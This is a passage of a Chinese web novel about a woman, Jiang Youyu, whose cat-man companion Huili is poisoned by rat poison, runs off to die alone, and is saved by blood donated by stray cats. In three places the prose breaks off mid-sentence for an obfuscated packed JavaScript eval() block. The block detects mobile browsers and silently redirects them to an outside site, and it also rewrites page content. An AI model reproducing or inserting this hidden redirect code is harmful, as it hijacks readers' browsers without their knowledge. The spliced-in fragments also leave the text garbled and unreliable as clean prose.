医生面色凝重:“胃里的老鼠药已经都洗干净了,但是他摄入的剂量比较大,部分毒素已经进入他的血液循环,对肝肾功能损害很大。我实话实说,预后不乐观,你要有心理准备。” 江有鱼脸色一白,失控地抓住医生手臂:“不乐观是什么意思?他还能治好吗?” “你别急,我先跟你说一下他的病情。”医生示意她冷静,给她出示了灰狸的化验单:“肝肾功能的损伤,我们可以通过注射解毒剂和透析来治疗,如果猫自己的身体底子好,还是有希望恢复的。” “但是这种老鼠药,会破坏猫的凝血功能,你看到他之前皮肤上有血点吧?那就是他身体里一直在内出血。” “我说的预后不乐观,主要就是针对凝血功能的问题。如果想要救治,必须给猫大量输血。” 江有鱼急道:“那还等什么呀?赶紧做吧!” 医生却摇了摇头:“你先听我说完,你家猫的中毒很严重,可能要把他全身的血液都更换一遍,才能达到治病的效果。” “但是医院里根本没有足够的血液储备,你想做输血,我们这里也没有条件。” “那、那怎么办?” 医生叹口气:“我会问问其他家医院,能不能周转一些血液给我们,但是全市都缺血,以你家猫的情况,需要的血液量不是一般的大,估计根本凑不齐。” “还有,血液是按照毫升来计价格的,现在均价是50毫升血液1500元,你家的猫体型大,我估计最后用血量要达到1000毫升,也就是说,要输血的话,你至少要准备三万。” “这还只是输血的价格,透析、住院、洗胃、各类针剂跟化验……如果要治疗的话,可能要花六万元左右,而且,我们无法保证一定会治好。” 他每说一句话,江有鱼的脸就白一点,当医生说完时,江有鱼的脸色已经白的发青。 她望着依然昏迷不醒的灰狸,鼓起勇气问道:“那……治疗成功率多少?” “不到20%。” 51.我不治了 有那么一瞬间,江有鱼觉得医生在跟她开玩笑。 不到20%? 她扑上去摇晃医生的衣襟:“不对,医生,他平时很强壮很健康的,治好的几率怎么会不到20%呢?你再好好看看!” 医生也见多了宠物主人的悲痛,他尽量理智客观地道:“他是中毒,不是生病,不能以平常的身体素质来推断。他服下的老鼠药是剧毒产品,我说有20%的生还概率,已经是看在他身体好的份上了,若是身体弱些的猫,根本撑不过一天就会死掉。” 江有鱼后退一步,不敢相信自己的耳朵。医生怜悯道:“情况就是这么个情况,你自己考虑一下,要不要试着治疗吧。如果同意治疗方案,就尽快交钱签字,我现在就去给你找血。” 六万元,不到20%的治好概率。 她要怎么选? 江有鱼是个极度恐惧风险的人,她不炒股、不买彩票,当年有人给她推荐过一只基金,80%的几率看涨,江有鱼都无法忍受20%的不确定性,选择了不买。 她把所有存款都存了银行定期,哪怕利息少点,但是她安心。 某件事情的成功率一旦低于99%,江有鱼的反应是掉头就走,她没办法承受风险,她出身的环境,不给她任何的容错率。 只有20%的概率能治好,对她来说,20%跟0%几乎没区别。 还有,六万元,仓促之间让她到哪里去筹呢? 灰狸上个月赚的钱都拿去买猫粮了,至于猫德学院的账上,流动资金也不多,顶多是四五万元。况且她现在有了员工,要发工资,要交房租水电,这个钱是绝对不能动的! 即使她不过日子了,把所有的钱都拿出来,也不够啊! 况且,还有血液……即使她愿意花钱,血液也可能不够…… 灰狸还是没醒,江有鱼摸着他毛茸茸的脑袋,肝肠寸断。 她从来没觉得,生活这么艰难过。 之前,虽然她的经营也吃紧,但维持自己家的生活,还是可以的。后来她有了灰狸,生意一天天好起来,也开始有了积蓄,生活难道不是正在变好吗? 但是现实像是一记重锤,狠狠砸在她身上,几乎把她也要打吐了血。 是不是幸福就注定要面临毁灭?是不是倒霉的人怎么挣扎都要倒霉?人生啊,为何会有这么多关口?到底什么时候才是个头儿啊? 小二就站在她身边,也急哭了,一会儿用脑袋蹭蹭灰狸,一会儿又期期艾艾地望着江有鱼,他没说出口,但江有鱼知道,小二是怕她不给灰狸治病。 她伸手握住了灰狸冰凉的小爪子,就在一天前,这还是一双热乎乎的大手。 那双手把蛋糕上唯一的一颗车厘子喂给她吃,为她煲过鸡汤,为她打倒过杀人犯,为她拼命赚钱,只为了让她过上公主般的生活…… 江有鱼再也想不下去,她气噎声堵,泪流满面。 世界上除了父母,还有谁能像灰狸一样爱她?她怎么能接受,他从自己的生命里离开? 她低下头,把额头抵在那个毛茸茸的脑袋上,感到生命力逐渐从他身上消失,心如刀绞。 他已经成了她生活里不可缺少的一部分,她不能失去他,正如鱼离不开水,人类离不开空气。 她从前真是太傻了,她为什么要在意那么多有的没的?她早就已经爱上他了,她为什么不敢承认呢?她甚至还有足足二十天没跟他讲话! 如果他死了…… 不,他不能死!她不允许他死去! 不管怎么样,她必须试一试,20%的几率又怎样?即使只有1%的可能,她都要试一试! 她下定决心,抬起眼睛:“小二,咱们去交住院费。” 小二知道,这就是给灰狸治病的意思了,不禁松了口气。 可他又担心了起来:“……咱们有钱吗?” “有钱没钱,都必须要治。”江有鱼的脸上没有一丝表情,只有豁出去的决绝,“你不用担心这个,没钱我去借,去贷款,总能搞到的。” 好在治疗费是分开收的,现在只需要交住院款和先期药费,交过钱,江有鱼把灰狸抱到了病房,说是病房,其实只是个宽敞些的笼子,冷冰冰的,一看就硌得慌。 江有鱼脱下自己的外套垫在笼子里,接着把灰狸放了上去,护士开始给灰狸输液,据说这种针剂除了解毒,还能有效镇痛,起码不会让灰狸那么痛苦。 医生过来巡查,询问道:“你考虑得怎么样了?治还是不治?” “治。”江有鱼回答得干脆利落,“不过大夫,你不是说现在缺血吗?我这边交了钱,你能确保血液也立刻到位吗?” “这个……恐怕难。你家猫这情况,说不定要在网上发动猫来献血,筹到血液的时间肯定不会短。” “既然这样,我们自己提供猫血行不行?”江有鱼一推小二,“我是开猫德学院的,有很多猫学员,就是不知道哪些猫符合输血条件……” 大夫眼前一亮:“输血条件很简单,只要体重达标,身体健康,血型合适就可以,你有这种资源,怎么不早说?赶快发动那些猫过来做配型!输血越早越快,治好的可能性就高!” 江有鱼顿时多了几分信心,黎明会别的没有,就是猫多。最近猫粮管够,猫咪个个吃得圆头胖脑,应该全部符合抽血标准。 只要里面有二三十个跟灰狸血型相符的,那就解决了一大难题了! “那配型的费用……” “一只猫是一百元,不过,如果你发动认识的猫来献血,我们就不收血液费了,只收配型费。” 黎明会有210只猫,全部配型的话,也就是两万左右,还能节省一万元,江有鱼顿时感觉轻松了不少:“没问题医生,我马上就把猫带来!” 看了一眼仍昏迷不醒的灰狸,江有鱼亲亲他的小脑袋,拜托护士看好灰狸后,便拉着小二往回狂奔。 黎明会众猫听说灰狸需要血,当然是义不容辞,纷纷上前表示抽自己的。 此时已经是深夜,江有鱼想带210只猫上医院,简直是天方夜谭,万般无奈之下,她只得厚着脸皮给石竹打电话。 石竹的猫粮厂,应当有大型运输车,她打算跟石竹借车,把210只猫一口气带过去。 石竹听说是灰狸出事,大吃一惊,连忙安慰她不要慌,自己这就来。 四十分钟后,石竹开着一辆厢式货车风驰电掣地到了,还把阿橘也带了来:“他听说灰狸出事了,死活要跟来,也要给灰狸输血。” 江有鱼真不知道怎么感谢他们好,这会儿,一点点帮助都是雪中送炭:“石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118515|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐……” 石竹摆摆手:“好了,感谢的话就不说了,灰狸救过阿橘的命,只是还给他一点血,有什么好谢的,快走吧。” 小二带着众猫从地下室走出来,跳上货车厢,那壮观的猫群把石竹都看傻了:“你这什么时候养了这么多猫?” “不是我养的,是灰狸的流浪猫兄弟们,听说他需要血,都自愿要献给他。” 石竹感慨道:“灰狸的猫缘真好!” 江有鱼也在心里认同这句话,灰狸一向是一只好猫,非常照顾大家,现在,当他也需要关照的时候,这些被他帮助过的猫,都赶来帮助他了。 她对于灰狸的病情又多了几分信心,这么多的猫都希望他好起来,灰狸一定能挺住的! 两百多只猫浩浩荡荡进了医院,医生护士都没见过这种奇景,吃惊不小,医院里的病患家属也纷纷拍照留念。 江有鱼无暇去管这些,只是催着医生给众猫做配型,两万元的配型费要先付,江有鱼没有存款,只能先刷信用卡。 这边,众猫乖乖排队做配型,江有鱼便想去病房看看,灰狸现在怎么样了。 谁知进去一看,她便大吃一惊。 笼子里空空如也,灰狸居然不见了。 她一把抓过在旁边打盹的护士:“护士,我的猫呢?怎么会不见了?” 护士猛然惊醒,看着空荡荡的笼子,也傻了眼:“哎?刚刚还在呢,我刚给他拔了针的,怎么一眨眼就没了?” 江有鱼又气又急:“你们搞什么?一只病猫也能丢?还不赶快去查监控找找,看他到底去哪里了!” 护士连滚带爬地出去了,江有鱼看着空荡荡的笼子,只剩下自己的外套,恨恨上前拿起。 谁知这一动,她才发现,衣服里居然有一张纸条,上面写着几行字: “我知道,我很难治好了,我不治了,浪费钱。你刚刚亲过我,我已经不痛了。” “黎明会的大家,就拜托你了,流血也很疼,我不想他们流血。” “对不起,没能让你当上公主,还总是给你添麻烦。我走了,不要来找我。” 字迹拙劣,但横平竖直,正是灰狸的手笔。 江有鱼读完那张纸条,呆呆愣在原地,心里不知道是什么滋味。 他走了?他走到哪里去?今天外面的气温有零下十几度,他一只生了病的小猫,能往哪里走? 她的大脑宕机了,身体却比意识更快,向着外面奔去。 石竹见她慌慌张张,连忙拦住她:“你到哪里去?” 江有鱼说不出话,举着纸条给她看,手抖得像是筛子。 石竹接过来一看,脸色也变了:“这可糟了!我听说,猫知道自己快要死了的时候,就会离开家,找个没人的地方悄悄死去,就是怕主人看见了伤心,灰狸不会也……” 江有鱼怕的就是这个,正巧这时,护士也查完了监控,确认灰狸刚刚已经离开医院了。 江有鱼匆忙拜托石竹替她留在医院里,看管那些还没做完配型的猫,她则带着十几只已经验完血型的猫,冲出了医院去找灰狸。 此时下起了小雪,寒风一吹,雪花像是盐粒子,打得人脸生疼,江有鱼却浑然不觉。 天上是下盐粒子也好,下刀子也罢,她必须得把他找回来! 52.遥望 灰狸跌跌撞撞地走在街头,他浑身疼痛,四肢软麻,居然连直线都没法走。 怎么会这样呢?他一向是很强壮的,即使是从虐猫者手中出逃的那个雪夜,他顶着流血的眼睛,也没有这么虚弱过。 他向来以自己强壮的体魄为骄傲,他的肩膀很宽,能扛得起生活的重担;他的手臂有力,能打倒坏人保护领地;他的胸膛坚实,能让人依偎着睡个好觉。 就算这些他都做不到,起码他能够自食其力,养活自己,而不是奄奄一息地躺在笼子里,要靠江有鱼的钱跟别猫的血液才能活下去! 他被推出手术室的时候,其实已经恢复了一些意识,只是醒不过来,江有鱼跟医生说的话,他全听到了。 他明白什么是借贷,那意味着沉重的负担,每天赚一百元都要先还人家八十,如果还不上的话,还可能会被警察抓去坐牢。 他不由得想起自己被捕时的情景,真是可怕呀。那些人扑上来把他摔在地上,把他的头都摔破了,还有人用铁链子捆着他,兽医用针刺他……他怎么能让江有鱼也受这种苦呢? 还有,流血也是很疼的。被螺丝刀刺的时候,被刀子砍的时候,被狗咬的时候……只有受到伤害的时候,才会流血。 而他早就发过誓,血只要他自己流就够了,其余的兄弟都不能流一滴血! 他想,他离开的时候已经到了。 他活着,是为了保护他所爱的一切,不是为了拖累那些爱他的人。 雪花飞舞,奄奄一息的少年在街头踽踽独行。 生命是一条孤独的路,有的人很幸运,在路上找到了相伴一生的伴侣,但大多数人没有这个福气。 譬如灰狸,他是一个猫来到世界上的,也会一个猫离开世界。他不会死在江有鱼眼前的,他知道,她会伤心。 即使她不能爱他,但他是那么爱她,爱到不忍心让她流一滴眼泪。 有雪花飘落在他的鼻尖上,彻骨的凉。 凉得像是他生命里,最恐怖的那个雪夜。 灰狸缩了缩脖子,忍痛迈开脚步。 无论终点多么冷寂可怕,路都要走完。如果,他注定要死在这个夜晚,他选择自己走向埋骨之处。 医院离江有鱼的家不算太远,灰狸还能认出道路,他茫然地左顾右盼,很快便选定了一个方向。 那是一座观景台,是附近最高的建筑,因为太高,少有人至,在这个雪夜,当然更不会有人愿意上去观景。 灰狸知道,就是这里了。 他拖着沉重的身躯,爬上了观景台,数十米高的观景台,足有几百个台阶,他往常能一口气跑到顶,可现在,他手足并用,才勉强爬了上去,刚刚坐定,便忍不住哇地吐了一口血。 这么凄惨、这么难看的模样,还是不要让任何人看到了。 他忍住肌肉的剧痛,在观景台上坐了下来。 其时大雪纷纷扬扬,路灯把雪地映成了可爱的橙黄色,连栏杆上都有厚厚的一层雪,像是云朵一样软。放眼望去,一片小房子沉睡在雪里,如同水晶球里的模型,分外可爱。 在那么多小房子里,灰狸还是能一眼看出自家房顶。从这个角度望去,他刚好能看见江有鱼卧室的那扇窗户。 可惜屋里没人,现在只有黑漆漆的一片,如果她在家的话,从这扇窗户一定能看清她的笑脸。 灰狸想,这里就很好。 如果死了以后,真的有灵魂这回事儿,他的灵魂也愿意永远留在这里。 他能看见江有鱼,江有鱼却看不见他,他可以不再压抑自己眼睛里的爱意,专注地看着她,永远只看着她。 他会看她落泪,看她悲伤,看她振作,看她回归正轨,看她继续奋斗,实现梦想,露出笑容…… 然后,忘记她的生命中,曾出现过一只笨笨的小猫。 灰狸倚靠在落满了雪的长椅上,痴痴地睁大了眼睛。 雪花慢慢、慢慢飘落在他的身上,像是白白的棉花被子,冰冷又温柔。 动物医院,江有鱼带着小二等几十只猫冲出门,外面是车水马龙的大马路,灰狸早就不见踪影。 他们只好分头行动,好在猫很多,大家分成几组,分别找了一个方向追过去,把附近地毯式搜了一遍。下水道、树上、灌木丛中都翻到了,但统统没看见灰狸的影子。 东边没有,西边没有,商店没有,公园没有…… 江有鱼在街上跑来跑去,希望一点点磨灭成了失望,大雪天气,她竟然硬生生出了一头的汗,热气蒸腾,在头上萦绕成一团白雾。 还有哪里没找过呢? 小二抱着撞大运的想法道:“说不定他回家了?” 江有鱼不觉得他会回家,毕竟,灰狸留下了那种字条,显然就是不想让大家找到他。既如此,他怎么可能回家去呢? 但江有鱼还是抱着最后一丝希望回了家,她想,灰狸也许会回去拿老鼠布偶。 他最喜欢那个玩具了,每次睡觉的时候都要抱在怀里,说不定、说不定他陷入永眠的时候,也想抱着它一起睡…… 如果他回去,就会有线索有痕迹,她就是把地砖都铲起来,也必须把他找到! 她带着小二冲回家里,再一次大失所望,老鼠玩偶好好地躺在卧室门口的地上,灰狸没有回来。 他是下定了决心,不能让她找到,连那么喜欢的老鼠玩偶,他也不要了。 江有鱼拾起那个玩偶,看着那丑陋的针脚,就仿佛看到了那只叼着玩偶、眼巴巴盼着跟她一起睡觉的小猫,终于忍不住,蹲在那里号啕大哭起来。 她哭得那么用力、那么大声,五官扭曲成一片,连大脑都因为缺氧而钝痛起来。 世界上怎么会有他这样的小猫呢?他给她带来了那么多的快乐,可是他自己,却什么都不带走! 如果今晚找不到他,他将会寂寞地死掉。他死时,身边将没有她,没有兄弟们,连一个玩偶都没有。他孤独地迈向死亡,而她,连他的埋骨之地都弄不清楚。 说不定这就是他想要的吧,成不了她的爱侣,就做她的一块心病,从今后,每逢大雪纷飞的夜晚,都会让她旧病复发,疼上一疼。 他怎么能够这么残忍?她不允许这种报复,绝不! 小二惊慌地在原地踱步,想要安慰,却又不敢,只是催促道:“这里没有,下一步我们到哪里去找?” 小二说得对,不能在这里浪费时间哭哭啼啼了。 江有鱼撑着钝痛的脑子站起来,只觉得呼吸不畅,她猛地推开了自己卧室的窗子,寒风夹杂着雪花吹进来,冷空气吹干她脸上的泪,也让她的头脑为之一振。 必须冷静下来,想一想,如果她是灰狸,她会去哪里?会做什么? 在生命的最后一刻降临时,灰狸希望停留在什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124233|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么地方? 灰狸是那么高傲不愿拖累人的性子,他一定不希望有人打扰他的最后时刻,那个地方应该很安静,但也不是下水道之类污秽的地方。 可他……他又很爱她,爱着他的猫兄弟们,爱到不愿让他们看到自己死去,他应当也不会离开大家,况且他身体那样虚弱,想走也走不远的! 江有鱼在脑子里迅速思考,她的目光茫然地划过周边的街区,只觉得哪里都不像是灰狸会去的地方。 蓦然,一个细高细高的建筑闯进了她的眼帘。 那是一个观景台,就矗立在街心公园,当时不知道是哪任区长发疯,在街心公园盖了这么个东西,其实这附近有什么景色好看的?自从盖好,基本就没人上去过。 江有鱼忽然一阵心悸,她死死盯着那观景台,感到有一种强烈的直觉在呼唤她。 这种感觉没有来由,可是她霎时间无比确信,灰狸就在那座观景台上,一定在那里。 那里正对着她的窗,如果灰狸真的不舍得离开她,他一定会选择,在不远不近的地方,默默遥望。 她一把关上窗子,连老鼠玩偶都来不及放下,便向那个观景台冲去。小二懵懵懂懂,紧随其后。 一切都消失了,更深时分,人间灯火一盏一盏熄灭,天地间仅剩下了两种颜色,夜幕纯净的黑,雪花纯净的白。 颜色消失了,声音消失了,气味消失了,可是疼痛怎么不消失?反而越演越烈? 灰狸已经坐不住了,他滚倒在地上,一口一口地吐血,为黑白两色增添了一抹触目惊心的红。 止痛药的效果只能持续两个多小时,现在药效已经过了,他感觉自己全身都像在融化,肌肉骨头都已不听使唤,连体面地保持坐姿都不行。 身下的雪地好硬、好冷,真奇怪啊,明明都是又白又轻的东西,为什么羽绒床垫是那样柔软温暖,雪却是那么坚硬冰凉? 他好想念江有鱼,想让她摸摸他、亲亲他,那样他就不会再痛了。 可是他不能那样做。 江有鱼是个很心软的人,如果她看到自己死掉,一定不会忍心的。 他算什么呢?他只是一只流浪猫罢了,他还要从她身上榨取多少同情,把她的存款全部花光还不算,还要让她背上债务吗? 不要让她看到他的样子,不要让她知道他已经死了,这样,她伤心一阵后,就会把自己忘掉了。 原本,他就没什么特别。江有鱼还会遇到很多可爱的猫,漂亮乖巧黏人,他留下的伤口,早晚会被时间抚平的。 只是…… 他好想在死之前,再见她一眼啊。 忽然,他感到身下传来轻微的震动,好像有人在急匆匆地上楼梯。 真是的,这种时候怎么会有人来?见不到江有鱼也就算了,连安安静静的死都不行……灰狸拧起眉毛,想要躲起来,但是他已经没有力气了。 有个毛茸茸的东西忽然落在他怀里,灰狸愕然睁开眼睛,发现那居然是他的老鼠布偶。 一双手将他从地上抱起,他落入一个柔软温暖的怀抱,那是……江有鱼的气味…… 她怎么来了? 灰狸震惊不已,不知道哪里来的力气,居然翻身想要逃跑,不愿让她看见自己的脸。 啪的一声,声音清脆,江有鱼抬手,一巴掌打在灰狸的屁股上。 灰狸愣住了。 53.无可替代 灰狸一时间不知道作何反应,他并非没有挨过人类的打,但是他从没想过,江有鱼会打他,还是打在那个地方…… 小二随后跟来,也震惊了,江老师为什么要打大哥?不是应该送他去医院吗? “坏猫!你是一只坏猫!”这一巴掌拍出去,江有鱼的心才算放下来,她一把鼻涕一把泪:“你长本事了,病得这么重,还往外跑!还写什么字条……我教你写字,是让你用来写遗书的吗?” “快点变成小猫,跟我回医院!大家都已经到医院验血型了,就等着给你输血呢!” 灰狸只是捂着屁股不动。 江有鱼这才想起来,自己刚刚太激动了,不应该打一只病猫的。她连忙对灰狸道歉:“对不起,我不该打你的,不过,那也是因为你太气人了……别闹脾气了,快跟我回去好吗?” 灰狸当然没生江有鱼的气,他已经太过震惊和迷茫,他呆呆问道:“你是怎么……找到我的?” “找你还不容易?像你这样又要逞英雄又爱面子的猫,还能往哪去?你还真把自己当成真岛了?想搞默默遥望那套?没门!” 江有鱼脱下自己的外套,裹在灰狸身上:“告诉你,硬汉的硬不是冻硬的硬,走吧,你必须赶快输血!” 灰狸却固执地把外套抖掉:“不……我不会回去的……我不治了。” 江有鱼急得跳脚:“你到底要干什么?你生病了,是说不治就能不治的吗?你还想不想要命了?” “不要了。” 灰狸闭着眼:“医生说的话……我都听见了。我治好的可能性太小了,你不能把钱花在这里……” “你要用钱好好地经营学院、买大房子、养家……而不是拿去救一只治不好的猫。” “谁说你治不好的?大夫说了,有20%的概率治好呢!”江有鱼哄他,“20%的概率很高了,不要怕,你一定不会死的!” 灰狸还是不睁眼:“我、我懂算数,不到20%的概率,如果是扔硬币,你得连扔出三把正面才能赢。我不能让你们冒这个风险,治不好的话,你会损失很多钱,还有兄弟们的血……” 小二哇一声哭了起来,他跪在灰狸的左侧,没命地去蹭灰狸的头:“大哥,我、我不怕!只要你能好起来,我全身的血都可以给你!” “如果没有你,我早就死了,不光是我,小夜、小雪……所有猫都不会活着!” 灰狸侧过头,不让小二蹭他:“流血,是很疼的……你别犯傻……” 小二拼命摇头:“没关系!我不疼,只要你能活下来,我不怕疼!” 他抬手指了指自己的心口:“大哥,抽血只是手臂疼一下,一想到你可能不在了,这里就会好疼,疼得我受不了……” “这么多年,你为我们挨过多少打,受过多少罪?赶流浪狗的那次,你大腿上被狗咬了七八口,光那一次就流了多少血?你不能这么绝情,连一个以血还血的机会都不给我们!” 灰狸睁开眼,苦笑道:“可我要是好不起来呢?” 小二死死扭住他的左手:“好不起来我也认了!总要试一试啊大哥!你不能连试都不试就放弃!” 江有鱼也紧紧钳着灰狸的另一只手:“小二说得对,不能不试!” “可是……” “没有可是!” 她捧着灰狸的脸,大声道:“你别跟我提概率,概率这东西根本做不得准!” “这个地球上,有七十亿人,有二百多个国家,一万多个城市,在宇宙里,有千万亿的星星……你有没有想过,你跟我在那天、那个地方相遇的概率是多少?连0.00001%都不到!” 她望着他的眼睛,哽咽道:“连这样不可思议的奇迹,都在你我身上发生过,20%的幸运,难道就不会再次降临吗?” “你会好的,灰狸,你一定会好的!” 灰狸睁大了眼睛,震撼极了:“可是,我值得你这么做吗?我、我只是一只普通的猫……你要给我治疗,就得欠债,你还怎么能幸福得起来呢?” “你不是一只普通的猫!你是我最爱的一只猫,是无可替代的!”江有鱼紧紧抱着他的头颅:“你以为什么是幸福?幸福不是住大房子也不是穿公主裙,幸福、幸福是跟你爱的人在一起……” 她的眼泪滴在灰狸的肩窝,滚烫,又立刻在寒风中变得冰凉:“我赚钱,就是为了在生死关头,从死神手里把我爱的东西抢回来……如果世界上没有了你,我要钱有什么用?” 在灰狸震惊的目光中,她轻轻吻了一下他惨白的嘴唇:“灰狸,算我求求你,你就回去治病吧,就当是为了我。如果失去了你,我就算有再多钱,也永远不会快乐的……” 灰狸的独眼,慢慢流下一行热泪:“真的?” 原来他在江有鱼的心中,这么重要吗?重要到超越金钱、超越梦想?他真的不是在做梦吗? 江有鱼用力地点头:“是的,灰狸,你是最宝贵的,就算拿一百万亿元来,我也不换。” 小二凑上来,同样嚷道:“没错,大哥就是最宝贵的!就算拿一百万亿个罐头来,我也不换!” 雪不知道什么时候停了,星夜重现,在一片纯白的雪地里,灰狸想,这个世界终究待他不薄。 左手边,是他生死相依的兄弟,右手边,是他不离不弃的爱人。 一只男猫在天地之间走一遭,能同时拥有这两样东西,他想不出,还有谁比他得到得更多。 他们,也同样是灰狸最宝贵的东西,为了他们,他决不能死。 倔强的少年收起硬撑的气概,原地化为一只有着柔软皮毛的狸花猫。 他的爱人脱掉外衣裹住他,他的兄弟抱起他,穿过寒风,踏着冰雪,向动物医院跑去。 那里,还有更多的猫兄弟们,等着把自己火热的鲜血注入他冰凉的身体,为他换回一线生机。 世界上重要的东西太多太多,钱很重要,血也很重要。 但总有那么一个人,你为他一掷千金也毫不心痛,割脉放血也不皱眉头,因为你们之间,有更美丽更珍贵的东西,只要能挽回他的生命,即使抛弃一切,你也绝不后悔。 毕竟,他也是这样对待你的。 回到医院已经是半夜一点多了,一共有三十二只猫与灰狸配型成功,其中就包括阿橘。 护士前来采血,粗粗的采血针寒光闪闪,令人看着就腿肚子抽筋。 然而,没有一只猫退后,连最怕疼的阿橘也主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130586|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动伸出了自己的爪爪,即使他已经紧张地闭上了眼睛,但还是英勇地挺过了采血这关。 大夫开始给灰狸输血治疗,据他说,第一个晚上是最危险的,如果第二天指标能好起来,这条小命就有七成的概率保住了。 江有鱼握住灰狸冰凉的小爪子,在笼子边陪着。她拜托石竹把二百多只猫都拉了回去,今天晚上,就算是天塌下来,她也不会离开灰狸一步。 这是一场艰难的斗争,灰狸身上插满了针管,一夜时而哀叫,时而烦躁,不得安生,但只要江有鱼伸手去抚摸他,他就会立刻安静下来,努力发出猫呼噜声,似乎是想让她别担心。 她在心里默默祈祷,向玉皇大帝、王母娘娘、耶稣真主如来佛祖祈祷,凡是她能想起来的神明,她都求了一个遍,只为了那20%的幸运能够降临在灰狸身上。 上天已经让他吃了太多苦了,请不要连他的生命都拿走吧。 闹了一夜,灰狸终于沉沉睡去。 早上八点,护士来抽血化验,随后,医生便叫她去办公室讨论病情:“指标很好,最危险的时期已经过去了,你这猫确实身体底子不错,后面要继续关注,谨慎调养,他会慢慢好起来的。” 江有鱼听完这话,差点没瘫在椅子上,吊了一夜的心,终于落到实处。 她这才有空仔细打量大夫,意外地发现,那居然是个眉端眼正的青年,身材挺拔,气度冷静,肌肤极白,看上去未到三十岁,但意外的稳重可靠。 江有鱼瞟见他胸牌上写着齐睿思四个字,连忙感谢道:“齐医生,多谢你救了我们家灰狸……” 齐睿思摆摆手:“哪里,这都是我应该做的。最重要的还是你,江小姐,我实话实说,你这样负责的主人很少见,如果不是你愿意救他,他就算再有九条命也没了。” 他拿着化验单,接着说起了下一步治疗方案:“解毒剂会继续推,同时要开始上透析,如果一星期后,他肝肾功能恢复正常,那就可以出院了。” “但是出院,也不意味着痊愈。这次中毒,非常损耗他的身体元气,他不能剧烈运动,以在家静养为主。另外,还要辅助药物治疗,每个月来复查一次,三个月后才能彻底结束疗程。” 江有鱼连连点头,听得很认真,还向齐睿思请教了一堆灰狸的日常养护问题。 齐睿思目光在她脸上停留片刻,敏锐地发现了她眼底青黑。他掏出手机,打开自己的微信:“不急,你先加我微信,我稍后会整理一份护理事宜清单给你的。” “现在,你最好回家睡一觉,你已经熬了一夜,再不睡会出问题的。” 江有鱼望向灰狸,目光迟疑。齐睿思明白她心中顾虑:“越是这个时候,你越要稳住,你如果倒下了,谁来照顾他呢?猫我们会帮你照看,不用太担心了。” 江有鱼顿觉他说得有理,露出一个不好意思的笑容:“好的,我会注意休息。” 她跟齐睿思加了微信,约定有什么问题随时联系,便转身往外走。 齐睿思忽然叫住她:“等等。” 江有鱼疑惑回头,齐睿思用下巴示意她坐下:“伸手。” 她不明所以地伸出手,看着齐睿思从桌上拿过酒精棉和碘伏,摁在她的手上。 54.为了大哥而努力 手上传来一阵灼痛,那是灰狸昨天咬的伤口,她这才明白过来,这位齐医生是在给她治疗。 她顿觉不好意思:“您?您不是兽医吗,给人治病也会?” 齐睿思专注地低头给她消毒,眼帘垂下来,睫毛纤长,在脸颊投出分明的阴影:“别的不会,但是我们医院每天都有人被猫狗抓伤咬伤,处理这个我内行。” 他动作很快,三下五除二便弄好了:“行了,伤口不深,接下来几天不要碰水,只要没发炎,很快就会结痂了。” 江有鱼又说了几句感谢的话,这才走出门,她又去确认了一遍灰狸正在安睡,这才往家里走去。 回到家,她已经累得不行,连衣服都没换,一倒头就睡了过去,这一觉就睡到下午四点多,醒来时她只觉得脖子酸痛,应该是睡姿不对落枕了。 手机信号灯在闪,她撑着僵硬的脖子,拿起来一看,发现有两条来自齐睿思的微信。 一条是他答应过的护理注意事项,密密麻麻写了几百字,交代的事无巨细,果然是很负责的好大夫。 另一条是灰狸的小视频,他已经醒了过来,虽然看着依然很虚弱,但是眼睛已经有神了许多,正在自己喝水。 看到灰狸有精神,江有鱼心里真是说不出来的高兴。她看了看那注意事项,发现上面写着要给灰狸多喝水,吃补血食物,当下决定熬点猪肝粥给灰狸送去。 谁知她刚踏出门,就闻到屋里飘着一股诡异的味道,好像有人在煮苦瓜汤时,又往里放了草莓和牛奶,最后还放了一堆辣椒酱。 谁在做饭? 她往厨房走去,映入眼帘的景象把她惊呆了。 厨房里简直是猫猫开大会啦! 黑的、白的、黄的、花的……二三十只猫有的蹲在操作台上,有的坐在地上,一群毛团子把厨房塞得满满当当。 炉灶上有个汤罐,诡异的味道就是从这里面传来的,炉灶旁边,有个黑眼少年正在一脸严肃地搅动勺子,正是小夜,看那架势,比大厨还大厨。 他一边搅动,一边道:“我记得,这个汤最后应该是放香油才行,我这边腾不出手,把香油递给我!” 在调料旁的猫立刻领命去找香油,不过看来还不大认字,江有鱼眼睁睁看着,他把蚝油扒拉了过去。 小夜不疑有他,接过蚝油瓶子就往里倒了一大堆,那锅里的汤立刻变成黑色,散发出更恐怖的味道,好像女巫的毒药。 